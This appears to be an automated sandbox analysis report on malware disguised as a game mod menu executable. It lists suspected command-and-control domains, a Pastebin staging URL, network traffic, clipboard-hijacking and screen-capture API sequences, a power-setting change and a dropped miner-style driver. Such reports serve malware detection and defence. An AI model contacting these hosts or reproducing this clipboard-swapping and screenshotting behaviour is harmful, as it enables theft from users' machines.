Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394381912.000000000162D000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2018544674.000000000162C000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://featureccus.shop/
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394339673.000000000161D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://featureccus.shop/bdMAn
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1166088583.0000000003C38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: powershell.exe, 00000011.00000002.1438828249.0000000005066000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1235479855.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394381912.000000000162D000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2018544674.000000000162C000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mrodularmall.top/
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2018067690.000000000163F000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394143560.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394424410.0000000001640000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mrodularmall.top/aNzS
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2017827441.0000000001652000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394463613.0000000001652000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mrodularmall.top/aNzS-.n
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394143560.00000000015DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mrodularmall.top/aNzS_
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394381912.000000000162D000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2018544674.000000000162C000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mrodularmall.top/q
Source: powershell.exe, 00000011.00000002.1442060312.0000000005F7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.0000000002AA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.0000000002AFE000.00000004.00000800.00020000.00000000.sdmp, 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.00000000029D1000.00000004.00000800.00020000.00000000.sdmp, 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.0000000002AA5000.00000004.00000800.00020000.00000000.sdmp, logs.uce0.14.dr, logs.uce1.14.dr, logs.uce.14.dr	String found in binary or memory: https://pastebin.com/raw/YpJeSRBC
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1235180750.0000000003E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1235180750.0000000003E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1235479855.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1166088583.0000000003C38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: Kiddion's Modest Menu v.1.0.0.exe	String found in binary or memory: https://www.entrust.net/rpa0
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1235479855.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1166088583.0000000003C38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1235180750.0000000003E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1235180750.0000000003E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1235180750.0000000003E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1235180750.0000000003E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1235180750.0000000003E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49736 version: TLS 1.2

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

Code function: 2_2_0043F820 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

2_2_0043F820

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

Code function: 2_2_03A21000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,

2_2_03A21000

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

Code function: 2_2_0043F820 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

2_2_0043F820

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

Code function: 2_2_0044004F GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

2_2_0044004F

System Summary

Uses powercfg.exe to modify the power settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0

Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe

File created: C:\ProgramData\Dllhost\WinRing0x64.sys

Jump to behavior

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A06460	0_2_00A06460
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009C553B	0_2_009C553B
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A04CB0	0_2_00A04CB0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009E1F50	0_2_009E1F50
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A06090	0_2_00A06090
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A190F0	0_2_00A190F0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A1E0F0	0_2_00A1E0F0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A2B0F0	0_2_00A2B0F0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009DA0F0	0_2_009DA0F0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D50E0	0_2_009D50E0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009E00E0	0_2_009E00E0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A2A030	0_2_00A2A030
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009C1000	0_2_009C1000
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009CE030	0_2_009CE030
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A16010	0_2_00A16010
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009EE020	0_2_009EE020
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A1D070	0_2_00A1D070
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009FD070	0_2_009FD070
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A1C050	0_2_00A1C050
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009DF190	0_2_009DF190
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D01A0	0_2_009D01A0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009C41D0	0_2_009C41D0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A241D0	0_2_00A241D0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009F0110	0_2_009F0110
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009F8130	0_2_009F8130
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A14110	0_2_00A14110
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D9150	0_2_009D9150
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009F7170	0_2_009F7170
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009E5290	0_2_009E5290
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A212B0	0_2_00A212B0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D82B0	0_2_009D82B0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A322CA	0_2_00A322CA
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009C72E0	0_2_009C72E0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A38230	0_2_00A38230
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009E3200	0_2_009E3200
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A22210	0_2_00A22210
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009CD250	0_2_009CD250
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A00240	0_2_00A00240
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A1D3B0	0_2_00A1D3B0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009DE3A0	0_2_009DE3A0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009F53A0	0_2_009F53A0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A293E0	0_2_00A293E0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009EA3F0	0_2_009EA3F0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A093D0	0_2_00A093D0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A01320	0_2_00A01320
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009C8310	0_2_009C8310
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009DB310	0_2_009DB310
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A23330	0_2_00A23330
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009CA300	0_2_009CA300
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009ED330	0_2_009ED330
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009E7320	0_2_009E7320
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A0A350	0_2_00A0A350
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A10350	0_2_00A10350
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A1C350	0_2_00A1C350
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009E9360	0_2_009E9360
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009EE490	0_2_009EE490
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A184C0	0_2_00A184C0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A2A4C0	0_2_00A2A4C0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A28420	0_2_00A28420
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009DD410	0_2_009DD410
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009F6410	0_2_009F6410
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A13430	0_2_00A13430
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D0430	0_2_009D0430
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D4430	0_2_009D4430
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D2450	0_2_009D2450
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009E5450	0_2_009E5450
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A45592	0_2_00A45592
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009FC5A0	0_2_009FC5A0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009FF5D0	0_2_009FF5D0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009E55C0	0_2_009E55C0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009EB5F0	0_2_009EB5F0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A295D0	0_2_00A295D0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D3510	0_2_009D3510
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A1F530	0_2_00A1F530
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D6530	0_2_009D6530
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009E3530	0_2_009E3530
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A19576	0_2_00A19576
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009FB560	0_2_009FB560
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009CE690	0_2_009CE690
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A15690	0_2_00A15690
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009EC6D0	0_2_009EC6D0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D76C0	0_2_009D76C0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009CB6F0	0_2_009CB6F0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009E66F0	0_2_009E66F0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009FD6E0	0_2_009FD6E0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009F86E0	0_2_009F86E0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009CC610	0_2_009CC610
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A17630	0_2_00A17630
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A21630	0_2_00A21630
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D0620	0_2_009D0620
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A01660	0_2_00A01660
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A1A660	0_2_00A1A660
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A24640	0_2_00A24640
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A09650	0_2_00A09650
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A107F0	0_2_00A107F0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009CD7F0	0_2_009CD7F0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009C9718	0_2_009C9718
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009CA700	0_2_009CA700
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A15700	0_2_00A15700
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A43718	0_2_00A43718
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D9740	0_2_009D9740
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A078A0	0_2_00A078A0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009E98A0	0_2_009E98A0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009E28C0	0_2_009E28C0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009DD810	0_2_009DD810
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009FA810	0_2_009FA810
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A22800	0_2_00A22800
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009C5856	0_2_009C5856
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D3840	0_2_009D3840
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009FC870	0_2_009FC870
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009DF860	0_2_009DF860
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009C8990	0_2_009C8990
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A1D980	0_2_00A1D980
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D89A0	0_2_009D89A0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009FE9C0	0_2_009FE9C0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A16920	0_2_00A16920
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009CC906	0_2_009CC906
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009DE900	0_2_009DE900
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009F8900	0_2_009F8900
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A2D90A	0_2_00A2D90A
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D6940	0_2_009D6940
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009CB960	0_2_009CB960
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009E3A90	0_2_009E3A90
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A27AB0	0_2_00A27AB0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D7AA0	0_2_009D7AA0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009F8AA0	0_2_009F8AA0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009C9AF6	0_2_009C9AF6
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A23A20	0_2_00A23A20
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A11A00	0_2_00A11A00
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009ECA30	0_2_009ECA30
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009EDA30	0_2_009EDA30
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009F3A50	0_2_009F3A50
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A08A70	0_2_00A08A70
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A1BA40	0_2_00A1BA40
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D0B90	0_2_009D0B90
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A17BB0	0_2_00A17BB0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009DDB80	0_2_009DDB80
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D1BA0	0_2_009D1BA0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009EABF0	0_2_009EABF0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009FABF0	0_2_009FABF0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009CCB0F	0_2_009CCB0F
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009C7B00	0_2_009C7B00
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D7B50	0_2_009D7B50
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A0EB40	0_2_00A0EB40
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009D4C10	0_2_009D4C10
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009E2C00	0_2_009E2C00
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A21C00	0_2_00A21C00
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009F3C70	0_2_009F3C70
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009E2D80	0_2_009E2D80
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009FDD80	0_2_009FDD80
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009FDDD9	0_2_009FDDD9
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009C8DD0	0_2_009C8DD0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_009F7DD0	0_2_009F7DD0
